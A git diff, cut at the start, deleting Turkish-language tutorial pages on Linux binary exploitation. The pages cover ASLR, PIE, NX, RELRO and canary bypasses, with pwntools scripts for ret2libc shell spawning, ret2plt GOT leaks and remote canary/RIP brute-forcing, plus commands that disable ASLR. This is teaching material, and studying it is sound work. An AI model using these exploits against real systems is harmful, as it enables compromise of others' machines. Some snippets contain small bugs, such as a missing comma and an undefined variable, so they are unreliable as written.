gerekiyor, böylece daha sonra onu çağırabilirsiniz. - -## **.fini_array** - -Temelde bu, program sona ermeden önce **çağrılacak fonksiyonlar** ile bir yapıdır, tıpkı **`.dtors`** gibi. Bu, **shellcode**'unuzu sadece bir adrese atlayarak çağırabiliyorsanız veya **vulnerabiliteyi ikinci kez istismar etmek için** tekrar **`main`**'e dönmeniz gereken durumlarda ilginçtir. -```bash -objdump -s -j .fini_array ./greeting - -./greeting: file format elf32-i386 - -Contents of section .fini_array: -8049934 a0850408 - -#Put your address in 0x8049934 -``` -Not edin ki bu **sonsuz bir döngü** **oluşturmayacak** çünkü ana fonksiyona geri döndüğünüzde canary bunu fark edecek, stack'in sonu bozulmuş olabilir ve fonksiyon tekrar çağrılmayacak. Böylece, bu sayede **1 kez daha yürütme** gerçekleştirebileceksiniz. - -> [!CAUTION] -> [Full RELRO](../common-binary-protections-and-bypasses/relro.md) ile birlikte `.fini_array` bölümü **salt okunur** hale gelir. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md deleted file mode 100644 index 59fe29739..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md +++ /dev/null @@ -1,29 +0,0 @@ -# Ortak İkili Koruma - -{{#include ../../../banners/hacktricks-training.md}} - -## Core dosyalarını etkinleştir - -**Core dosyaları**, bir işlemin çökmesi durumunda bir işletim sistemi tarafından oluşturulan bir dosya türüdür. Bu dosyalar, çökme anında çökme yaşayan işlemin bellek görüntüsünü, işlemin belleği, kayıtları ve program sayacı durumu gibi diğer ayrıntıları içerir. Bu anlık görüntü, hata ayıklama ve çökme nedenini anlama açısından son derece değerli olabilir. - -### **Core Dump Oluşturmayı Etkinleştirme** - -Varsayılan olarak, birçok sistem core dosyalarının boyutunu 0 ile sınırlar (yani, core dosyası oluşturmaz) disk alanı tasarrufu sağlamak için. Core dosyalarının oluşturulmasını etkinleştirmek için `ulimit` komutunu (bash veya benzeri kabuklarda) kullanabilir veya sistem genelinde ayarları yapılandırabilirsiniz. - -- **Ulimit kullanarak**: `ulimit -c unlimited` komutu, mevcut kabuk oturumunun sınırsız boyutta core dosyaları oluşturmasına izin verir. Bu, hata ayıklama oturumları için yararlıdır ancak yeniden başlatmalar veya yeni oturumlar arasında kalıcı değildir. -```bash -ulimit -c unlimited -``` -- **Kalıcı Konfigürasyon**: Daha kalıcı bir çözüm için, `/etc/security/limits.conf` dosyasını düzenleyerek `* soft core unlimited` gibi bir satır ekleyebilirsiniz. Bu, tüm kullanıcıların oturumlarında ulimit'i manuel olarak ayarlamak zorunda kalmadan sınırsız boyutta çekirdek dosyaları oluşturmasına izin verir. -```markdown -- soft core unlimited -``` -### **GDB ile Çekirdek Dosyalarını Analiz Etme** - -Bir çekirdek dosyasını analiz etmek için GDB (GNU Hata Ayıklayıcı) gibi hata ayıklama araçlarını kullanabilirsiniz. Bir çekirdek dökümü üreten bir çalıştırılabilir dosyanız olduğunu ve çekirdek dosyasının `core_file` olarak adlandırıldığını varsayarsak, analize şu şekilde başlayabilirsiniz: -```bash -gdb /path/to/executable /path/to/core_file -``` -Bu komut, yürütülebilir dosyayı ve çekirdek dosyasını GDB'ye yükler, böylece çökme anındaki programın durumunu inceleyebilirsiniz. Yığınları keşfetmek, değişkenleri incelemek ve çökme nedenini anlamak için GDB komutlarını kullanabilirsiniz. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md deleted file mode 100644 index 4c7e698c7..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md +++ /dev/null @@ -1,157 +0,0 @@ -# ASLR - -{{#include ../../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve **sistem ve uygulama süreçleri** tarafından kullanılan bellek adreslerini rastgele hale getirir. Bu sayede, bir saldırganın belirli süreçlerin ve verilerin, örneğin yığın, yığın bellek ve kütüphaneler gibi, konumunu tahmin etmesi önemli ölçüde zorlaşır ve bu da belirli türdeki istismarları, özellikle de tampon taşmalarını azaltır. - -### **ASLR Durumunu Kontrol Etme** - -Bir Linux sisteminde ASLR durumunu **kontrol etmek** için, `/proc/sys/kernel/randomize_va_space` dosyasındaki değeri okuyabilirsiniz. Bu dosyada saklanan değer, uygulanan ASLR türünü belirler: - -- **0**: Rastgeleleştirme yok. Her şey statik. -- **1**: İhtiyatlı rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilmiştir. -- **2**: Tam rastgeleleştirme. İhtiyatlı rastgeleleştirme ile rastgeleleştirilen unsurlara ek olarak, `brk()` ile yönetilen bellek rastgeleleştirilmiştir. - -ASLR durumunu aşağıdaki komut ile kontrol edebilirsiniz: -```bash -cat /proc/sys/kernel/randomize_va_space -``` -### **ASLR'yi Devre Dışı Bırakma** - -ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'yi devre dışı bırakmak, genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte bunu nasıl yapabileceğiniz: -```bash -echo 0 | sudo tee /proc/sys/kernel/randomize_va_space -``` -ASLR'yi bir yürütme için de devre dışı bırakabilirsiniz: -```bash -setarch `arch` -R ./bin args -setarch `uname -m` -R ./bin args -``` -### **ASLR'yi Etkinleştirme** - -ASLR'yi **etkinleştirmek** için, `/proc/sys/kernel/randomize_va_space` dosyasına **2** değerini yazabilirsiniz. Bu genellikle root ayrıcalıkları gerektirir. Tam rastgeleleştirme, aşağıdaki komutla yapılabilir: -```bash -echo 2 | sudo tee /proc/sys/kernel/randomize_va_space -``` -### **Yeniden Başlatmalarda Süreklilik** - -`echo` komutlarıyla yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekir: -```tsconfig -kernel.randomize_va_space=2 # Enable ASLR -# or -kernel.randomize_va_space=0 # Disable ASLR -``` -`/etc/sysctl.conf` dosyasını düzenledikten sonra, değişiklikleri uygulamak için: -```bash -sudo sysctl -p -``` -Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır. - -## **Atlatmalar** - -### 32bit brute-forcing - -PaX, işlem adres alanını **3 gruba** ayırır: - -- **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken, her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir. -- `mmap()` ile tahsis edilen **bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` olarak adlandırılır. -- **Yığın** —> **24 bit**, `delta_stack` olarak adlandırılır. Ancak, etkili olarak **11 bit** kullanır (10. bayttan 20. bayta kadar dahil), **16 bayt** hizalıdır —> Bu, **524,288 olası gerçek yığın adresi** ile sonuçlanır. - -Önceki veriler 32-bit sistemler içindir ve azaltılmış nihai entropi, istismar başarılı bir şekilde tamamlanana kadar yürütmeyi tekrar tekrar denemek suretiyle ASLR'yi atlatmayı mümkün kılar. - -#### Brute-force fikirleri: - -- Eğer shellcode'dan önce **büyük bir NOP kaydı** barındıracak kadar büyük bir taşma varsa, yığında adresleri brute-force yaparak akışın **NOP kaydının bir kısmının üzerinden atlamasını** sağlayabilirsiniz. -- Taşma o kadar büyük değilse ve istismar yerel olarak çalıştırılabiliyorsa, **NOP kaydını ve shellcode'u bir ortam değişkenine eklemek** mümkündür. -- Eğer istismar yerel ise, libc'nin temel adresini brute-force yapmayı deneyebilirsiniz (32bit sistemler için yararlıdır): -```python -for off in range(0xb7000000, 0xb8000000, 0x1000): -``` -- Uzak bir sunucuya saldırıyorsanız, **`usleep` `libc` fonksiyonunun adresini brute-force etmeyi** deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada **sunucu yanıt vermek için 10 saniye ekstra alıyorsa**, bu fonksiyonun adresini bulmuşsunuzdur. - -> [!TIP] -> 64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün değildir. - -### Yerel Bilgiler (`/proc/[pid]/stat`) - -Bir sürecin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve **ilginç** bilgiler içerir, örneğin: - -- **startcode** & **endcode**: İkili dosyanın **TEXT**'inin üstünde ve altında adresler -- **startstack**: **stack**'in başlangıç adresi -- **start_data** & **end_data**: **BSS**'nin üstünde ve altında adresler -- **kstkesp** & **kstkeip**: Mevcut **ESP** ve **EIP** adresleri -- **arg_start** & **arg_end**: **cli argümanlarının** üstünde ve altında adresler. -- **env_start** & **env_end**: **env değişkenlerinin** üstünde ve altında adresler. - -Bu nedenle, eğer saldırgan, istismar edilen ikili dosyanın bulunduğu bilgisayarda ise ve bu ikili dosya ham argümanlardan taşmayı beklemiyorsa, ancak bu dosyayı okuduktan sonra oluşturulabilecek farklı bir **girdi**'den bekliyorsa, bir saldırganın **bu dosyadan bazı adresleri alması ve bunlardan istismar için ofsetler oluşturması mümkündür**. - -> [!TIP] -> Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde `/proc/pid/stat` araması yapın. - -### Bir leak'e sahip olmak - -- **Zorluk bir leak vermektir** - -Eğer size bir leak verilirse (kolay CTF zorlukları), ondan ofsetleri hesaplayabilirsiniz (örneğin, istismar ettiğiniz sistemde kullanılan tam libc sürümünü bildiğinizi varsayarak). Bu örnek istismar, [**buradan örnek**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) alınmıştır (daha fazla ayrıntı için o sayfaya bakın): -```python -from pwn import * - -elf = context.binary = ELF('./vuln-32') -libc = elf.libc -p = process() - -p.recvuntil('at: ') -system_leak = int(p.recvline(), 16) - -libc.address = system_leak - libc.sym['system'] -log.success(f'LIBC base: {hex(libc.address)}') - -payload = flat( -'A' * 32, -libc.sym['system'], -0x0, # return address -next(libc.search(b'/bin/sh')) -) - -p.sendline(payload) - -p.interactive() -``` -- **ret2plt** - -Bir buffer overflow kullanarak, libc'den bir fonksiyonun adresini dışarı sızdırmak için bir **ret2plt** istismar etmek mümkün olacaktır. Kontrol et: - -{{#ref}} -ret2plt.md -{{#endref}} - -- **Format Strings Arbitrary Read** - -ret2plt'de olduğu gibi, bir format string zafiyeti aracılığıyla rastgele bir okuma varsa, GOT'dan bir **libc fonksiyonu** adresini dışarı sızdırmak mümkündür. Aşağıdaki [**örnek buradan**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): -```python -payload = p32(elf.got['puts']) # p64() if 64-bit -payload += b'|' -payload += b'%3$s' # The third parameter points at the start of the buffer - -# this part is only relevant if you need to call the main function again - -payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer -payload += p32(elf.symbols['main']) -``` -Format Strings rastgele okuma hakkında daha fazla bilgi bulabilirsiniz: - -{{#ref}} -../../format-strings/ -{{#endref}} - -### Ret2ret & Ret2pop - -Yığın içindeki adresleri kullanarak ASLR'yi atlatmayı deneyin: - -{{#ref}} -../../stack-overflow/ret2ret.md -{{#endref}} - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md deleted file mode 100644 index d05f1a04b..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ /dev/null @@ -1,78 +0,0 @@ -# Ret2plt - -{{#include ../../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -Bu tekniğin amacı, ASLR'yi atlatabilmek için **PLT'den bir fonksiyonun adresini sızdırmak** olacaktır. Örneğin, libc'den `puts` fonksiyonunun adresini sızdırırsanız, **`libc`'nin temel adresini hesaplayabilir** ve **`system`** gibi diğer fonksiyonlara erişmek için ofsetleri hesaplayabilirsiniz. - -Bu, ([**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)) gibi bir `pwntools` yükü ile yapılabilir: -```python -# 32-bit ret2plt -payload = flat( -b'A' * padding, -elf.plt['puts'], -elf.symbols['main'], -elf.got['puts'] -) - -# 64-bit -payload = flat( -b'A' * padding, -POP_RDI, -elf.got['puts'] -elf.plt['puts'], -elf.symbols['main'] -) -``` -Not edin ki **`puts`** (PLT'den adres kullanarak) GOT'da (Global Offset Table) bulunan `puts` adresi ile çağrılır. Bunun nedeni, `puts` `puts`'un GOT girişini yazdırdığında, bu **girişin bellek içindeki `puts`'un tam adresini içerecek olmasıdır**. - -Ayrıca, `main` adresinin istismarda nasıl kullanıldığını not edin, böylece `puts` çalışmasını bitirdiğinde, **binary `main`'i tekrar çağırır, çıkmak yerine** (bu nedenle sızdırılan adres geçerli olmaya devam eder). - -> [!CAUTION] -> Bunun çalışması için **binary PIE ile derlenmemiş olmalıdır** veya PLT, GOT ve `main` adresini bilmek için **PIE'yi atlatmak için bir sızıntı bulmuş olmalısınız**. Aksi takdirde, önce PIE'yi atlatmanız gerekir. - -Bu [**atlatmanın tam örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Bu, o örnekteki son istismardı: -```python -from pwn import * - -elf = context.binary = ELF('./vuln-32') -libc = elf.libc -p = process() - -p.recvline() - -payload = flat( -'A' * 32, -elf.plt['puts'], -elf.sym['main'], -elf.got['puts'] -) - -p.sendline(payload) - -puts_leak = u32(p.recv(4)) -p.recvlines(2) - -libc.address = puts_leak - libc.sym['puts'] -log.success(f'LIBC base: {hex(libc.address)}') - -payload = flat( -'A' * 32, -libc.sym['system'], -libc.sym['exit'], -next(libc.search(b'/bin/sh\x00')) -) - -p.sendline(payload) - -p.interactive() -``` -## Diğer örnekler ve Referanslar - -- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ASLR etkin ama PIE yok, ilk adım bir taşmayı 0x00 byte'ına kadar doldurmak ve ardından puts çağrısı yaparak sızıntıyı elde etmektir. Canary ile bir ROP gadget'ı oluşturulur, puts'u çağırarak GOT'tan puts adresini sızdırır ve ardından `system('/bin/sh')` çağırmak için bir ROP gadget'ı. -- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) -- 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonu ile yığın taşması. Puts'un GOT'tan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırmak için. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md deleted file mode 100644 index 4bee9a1da..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md +++ /dev/null @@ -1,16 +0,0 @@ -# No-exec / NX - -{{#include ../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -**No-Execute (NX)** biti, Intel terminolojisinde **Execute Disable (XD)** olarak da bilinir, **buffer overflow** saldırılarının etkilerini **azaltmak** için tasarlanmış donanım tabanlı bir güvenlik özelliğidir. Uygulandığında ve etkinleştirildiğinde, **çalıştırılabilir kod** için tasarlanmış bellek bölgeleri ile **veri** için tasarlanmış bölgeleri, örneğin **stack** ve **heap** arasında ayrım yapar. Temel fikir, bir saldırganın buffer overflow zafiyetleri aracılığıyla kötü niyetli kodu çalıştırmasını engellemektir; örneğin, kötü niyetli kodu stack'e koyarak ve yürütme akışını ona yönlendirerek. - -## Bypass'ler - -- Bu korumayı aşmak için, ikili dosyada zaten mevcut olan çalıştırılabilir kod parçalarını çalıştırarak [**ROP**](../stack-overflow/rop-return-oriented-programing.md) gibi teknikler kullanmak mümkündür. -- [**Ret2libc**](../stack-overflow/ret2lib/index.html) -- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md) -- **Ret2...** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md deleted file mode 100644 index 3be1f98e9..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md +++ /dev/null @@ -1,32 +0,0 @@ -# PIE - -{{#include ../../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -PIE olarak derlenmiş bir ikili, veya **Pozisyon Bağımsız Yürütülebilir**, **programın her çalıştırıldığında farklı bellek konumlarında yüklenebileceği** anlamına gelir, bu da sabit kodlanmış adresleri önler. - -Bu ikilileri istismar etmenin püf noktası, **göreceli adresleri** istismar etmektir—programın parçaları arasındaki ofsetler, mutlak konumlar değişse bile aynı kalır. **PIE'yi atlatmak için yalnızca bir adres sızdırmanız gerekir**, genellikle **yığın** üzerinden format dizesi saldırıları gibi zafiyetler kullanarak. Bir adres elde ettiğinizde, diğerlerini **sabit ofsetleri** ile hesaplayabilirsiniz. - -PIE ikililerini istismar etmede yardımcı bir ipucu, **temel adreslerinin genellikle 000 ile bittiğidir** çünkü bellek sayfaları rastgeleleştirme birimleri olarak 0x1000 bayt boyutundadır. Bu hizalama, bir istismar beklenildiği gibi çalışmıyorsa kritik bir **kontrol olabilir**, doğru temel adresin tanımlanıp tanımlanmadığını gösterir.\ -Ya da bu bilgiyi istismarınız için kullanabilirsiniz, eğer bir adresin **`0x649e1024`** konumunda olduğunu sızdırırsanız, **temel adresin `0x649e1000`** olduğunu bilirsiniz ve buradan sadece **ofsetleri** hesaplayabilirsiniz. - -## Atlatmalar - -PIE'yi atlatmak için, **yüklenmiş ikilinin bazı adreslerini sızdırmak** gereklidir, bunun için bazı seçenekler vardır: - -- **ASLR devre dışı**: ASLR devre dışı bırakıldığında, PIE ile derlenmiş bir ikili her zaman **aynı adreste yüklenecektir**, bu nedenle **PIE işe yaramaz** çünkü nesnelerin adresleri her zaman aynı yerde olacaktır. -- Sızdırma **verilmesi** (kolay CTF zorluklarında yaygındır, [**bu örneğe bakın**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- Yığındaki **doğru EBP ve EIP değerlerini sızdırana kadar** zorla denemek: - -{{#ref}} -bypassing-canary-and-pie.md -{{#endref}} - -- Bir adres sızdırmak için [**format dizesi**](../../format-strings/index.html) gibi keyfi bir okuma zafiyetini kullanarak (örneğin, önceki teknik gibi yığından) ikilinin temelini elde etmek ve buradan ofsetleri kullanmak. [**Burada bir örnek bulun**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). - -## Referanslar - -- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md deleted file mode 100644 index dbf01ead3..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ /dev/null @@ -1,84 +0,0 @@ -# Yığınlardaki BF Adresleri - -{{#include ../../../../banners/hacktricks-training.md}} - -**Eğer bir canary ve PIE (Pozisyona Bağımsız İkili) ile korunan bir ikili ile karşılaşıyorsanız, bunları aşmanın bir yolunu bulmanız gerekecektir.** - -![](<../../../../images/image (144).png>) - -> [!NOTE] -> **`checksec`**'in bir ikilinin canary ile korunduğunu bulamayabileceğini unutmayın, eğer bu statik olarak derlenmişse ve fonksiyonu tanımlama yeteneği yoksa.\ -> Ancak, bir fonksiyon çağrısının başında yığında bir değerin kaydedildiğini ve bu değerin çıkmadan önce kontrol edildiğini bulursanız, bunu manuel olarak fark edebilirsiniz. - -## Brute-Force Adresleri - -PIE'yi aşmak için **bazı adresleri sızdırmanız** gerekiyor. Ve eğer ikili herhangi bir adres sızdırmıyorsa, en iyi yol **zayıf fonksiyondaki yığında kaydedilen RBP ve RIP'yi brute-force yapmak** olacaktır.\ -Örneğin, eğer bir ikili hem **canary** hem de **PIE** kullanarak korunuyorsa, canary'yi brute-force yapmaya başlayabilir, ardından **sonraki** 8 Bayt (x64) kaydedilen **RBP** ve **sonraki** 8 Bayt kaydedilen **RIP** olacaktır. - -> [!TIP] -> Yığında bulunan dönüş adresinin ana ikili koda ait olduğu varsayılmaktadır; bu, eğer zayıflık ikili kodda bulunuyorsa genellikle böyle olacaktır. - -İkili dosyadan RBP ve RIP'yi brute-force yapmak için, program bir şey çıktığında veya sadece çökmediğinde geçerli bir tahmin edilen baytın doğru olduğunu anlayabilirsiniz. Canary'yi brute-force yapmak için sağlanan **aynı fonksiyon**, RBP ve RIP'yi brute-force yapmak için de kullanılabilir: -```python -from pwn import * - -def connect(): -r = remote("localhost", 8788) - -def get_bf(base): -canary = "" -guess = 0x0 -base += canary - -while len(canary) < 8: -while guess != 0xff: -r = connect() - -r.recvuntil("Username: ") -r.send(base + chr(guess)) - -if "SOME OUTPUT" in r.clean(): -print "Guessed correct byte:", format(guess, '02x') -canary += chr(guess) -base += chr(guess) -guess = 0x0 -r.close() -break -else: -guess += 1 -r.close() - -print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) -return base - -# CANARY BF HERE -canary_offset = 1176 -base = "A" * canary_offset -print("Brute-Forcing canary") -base_canary = get_bf(base) #Get yunk data + canary -CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary - -# PIE BF FROM HERE -print("Brute-Forcing RBP") -base_canary_rbp = get_bf(base_canary) -RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) -print("Brute-Forcing RIP") -base_canary_rbp_rip = get_bf(base_canary_rbp) -RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) -``` -PIE'yi yenmek için son şey, **sızdırılan** adreslerden **yararlı adresleri hesaplamak**: **RBP** ve **RIP**. - -**RBP**'den, **yığın içinde shell'inizi nereye yazdığınızı** hesaplayabilirsiniz. Bu, yığın içinde _"/bin/sh\x00"_ dizesini nereye yazacağınızı bilmek için çok yararlı olabilir. Sızdırılan RBP ile shellcode'unuz arasındaki mesafeyi hesaplamak için, **RBP'yi sızdırdıktan sonra bir kesme noktası koyup** **shellcode'unuzun nerede bulunduğunu** kontrol edebilirsiniz, ardından shellcode ile RBP arasındaki mesafeyi hesaplayabilirsiniz: -```python -INI_SHELLCODE = RBP - 1152 -``` -**RIP**'den **PIE ikili dosyasının temel adresini** hesaplayabilirsiniz, bu da **geçerli bir ROP zinciri** oluşturmak için gereklidir.\ -Temel adresi hesaplamak için sadece `objdump -d vunbinary` komutunu çalıştırın ve en son adresleri kontrol edin: - -![](<../../../../images/image (145).png>) - -Bu örnekte, tüm kodu bulmak için yalnızca **1.5 Bayt gereklidir**, bu durumda temel adres **sızdırılan RIP ama "000" ile biten** olacaktır. Örneğin, eğer `0x562002970ecf` sızdırdıysanız, temel adres `0x562002970000`'dır. -```python -elf.address = RIP - (RIP & 0xfff) -``` -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md deleted file mode 100644 index 919269f3b..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md +++ /dev/null @@ -1,31 +0,0 @@ -# Relro - -{{#include ../../../banners/hacktricks-training.md}} - -## Relro - -**RELRO**, **Yeniden Yerleştirme Sadece Okuma** anlamına gelir ve **GOT (Küresel Ofset Tablosu)** yazmalarına ilişkin riskleri azaltmak için ikili dosyalarda kullanılan bir güvenlik özelliğidir. Kavramı netlik için iki ayrı türüne ayıralım: **Kısmi RELRO** ve **Tam RELRO**. - -### **Kısmi RELRO** - -**Kısmi RELRO**, güvenliği artırmak için daha basit bir yaklaşım benimser ve ikili dosyanın performansını önemli ölçüde etkilemez. **GOT'u programın değişkenlerinin üzerinde bellekte konumlandırarak, Kısmi RELRO, tampon taşmaların GOT'a ulaşmasını ve onu bozmasını önlemeyi amaçlar.** - -Bu, **GOT'un** **rastgele yazma** zafiyetleri tarafından kötüye kullanılmasını önlemez. - -### **Tam RELRO** - -**Tam RELRO**, **GOT'u tamamen sadece okunur hale getirerek** korumayı artırır. İkili dosya başladığında tüm fonksiyon adresleri çözülür ve GOT'a yüklenir, ardından GOT sadece okunur olarak işaretlenir, bu da çalışma zamanında herhangi bir değişikliğin önlenmesini sağlar. - -Ancak, Tam RELRO'nun dezavantajı performans ve başlangıç süresidir. Çünkü GOT'u sadece okunur olarak işaretlemeden önce tüm dinamik sembolleri başlangıçta çözmesi gerekir, **Tam RELRO etkin olan ikili dosyalar daha uzun yükleme süreleri yaşayabilir.** Bu ek başlangıç yükü, Tam RELRO'nun tüm ikili dosyalarda varsayılan olarak etkin olmamasının nedenidir. - -Bir ikili dosyada Tam RELRO'nun etkin olup olmadığını görmek mümkündür: -```bash -readelf -l /proc/ID_PROC/exe | grep BIND_NOW -``` -## Bypass - -Eğer Full RELRO etkinse, bunu aşmanın tek yolu, keyfi yürütme elde etmek için GOT tablosuna yazma gerektirmeyen başka bir yol bulmaktır. - -LIBC'nin GOT'unun genellikle Partial RELRO olduğunu unutmayın, bu nedenle keyfi bir yazma ile değiştirilebilir. Daha fazla bilgi için [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries) bakın. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md deleted file mode 100644 index 404219911..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md +++ /dev/null @@ -1,70 +0,0 @@ -# Stack Canaries - -{{#include ../../../../banners/hacktricks-training.md}} - -## **StackGuard ve StackShield** - -**StackGuard**, **EIP (Extended Instruction Pointer)**'dan önce, özellikle `0x000aff0d` (null, yeni satır, EOF, taşıma dönüşü temsil eder) olarak bilinen özel bir değeri **canary** olarak ekler ve bu, tampon taşmalarına karşı koruma sağlar. Ancak, `recv()`, `memcpy()`, `read()` ve `bcopy()` gibi fonksiyonlar hala savunmasızdır ve **EBP (Base Pointer)**'yi korumaz. - -**StackShield**, tüm dönüş adreslerini (**EIPs**) saklayan bir **Global Return Stack** tutarak StackGuard'dan daha sofistike bir yaklaşım benimser. Bu yapı, herhangi bir taşmanın zarar vermemesini sağlar, çünkü saklanan ve gerçek dönüş adresleri arasında bir karşılaştırma yapılmasına olanak tanır. Ayrıca, StackShield, **EIP**'nin beklenen veri alanının dışına işaret edip etmediğini tespit etmek için dönüş adresini bir sınır değeri ile kontrol edebilir. Ancak, bu koruma, Return-to-libc, ROP (Return-Oriented Programming) veya ret2ret gibi tekniklerle aşılabilir, bu da StackShield'in yerel değişkenleri de korumadığı anlamına gelir. - -## **Stack Smash Protector (ProPolice) `-fstack-protector`:** - -Bu mekanizma, **EBP**'den önce bir **canary** yerleştirir ve yerel değişkenleri daha yüksek bellek adreslerinde konumlandıracak şekilde yeniden düzenler, böylece diğer değişkenleri yazmalarını engeller. Ayrıca, yerel değişkenlerin üzerinde yığılan argümanları güvenli bir şekilde kopyalar ve bu kopyaları argüman olarak kullanır. Ancak, 8'den az eleman içeren dizileri veya bir kullanıcının yapısı içindeki tamponları korumaz. - -**Canary**, `/dev/urandom`'dan türetilen rastgele bir sayıdır veya varsayılan değeri `0xff0a0000`'dir. **TLS (Thread Local Storage)**'de saklanır, bu da iş parçacıkları arasında paylaşılan bellek alanlarının iş parçacığına özgü küresel veya statik değişkenlere sahip olmasına olanak tanır. Bu değişkenler başlangıçta ana süreçten kopyalanır ve çocuk süreçler, ana veya kardeşleri etkilemeden verilerini değiştirebilir. Ancak, eğer bir **`fork()` yeni bir canary oluşturmadan kullanılırsa, tüm süreçler (ana ve çocuklar) aynı canary'yi paylaşır**, bu da onu savunmasız hale getirir. **i386** mimarisinde, canary `gs:0x14`'te, **x86_64**'de ise `fs:0x28`'de saklanır. - -Bu yerel koruma, saldırılara karşı savunmasız tamponlara sahip fonksiyonları tanımlar ve bu fonksiyonların başına canary'yi yerleştirmek için kod enjekte eder ve sonunda bütünlüğünü doğrulamak için kod ekler. - -Bir web sunucusu `fork()` kullandığında, canary'yi byte byte tahmin etmek için bir kaba kuvvet saldırısını etkinleştirir. 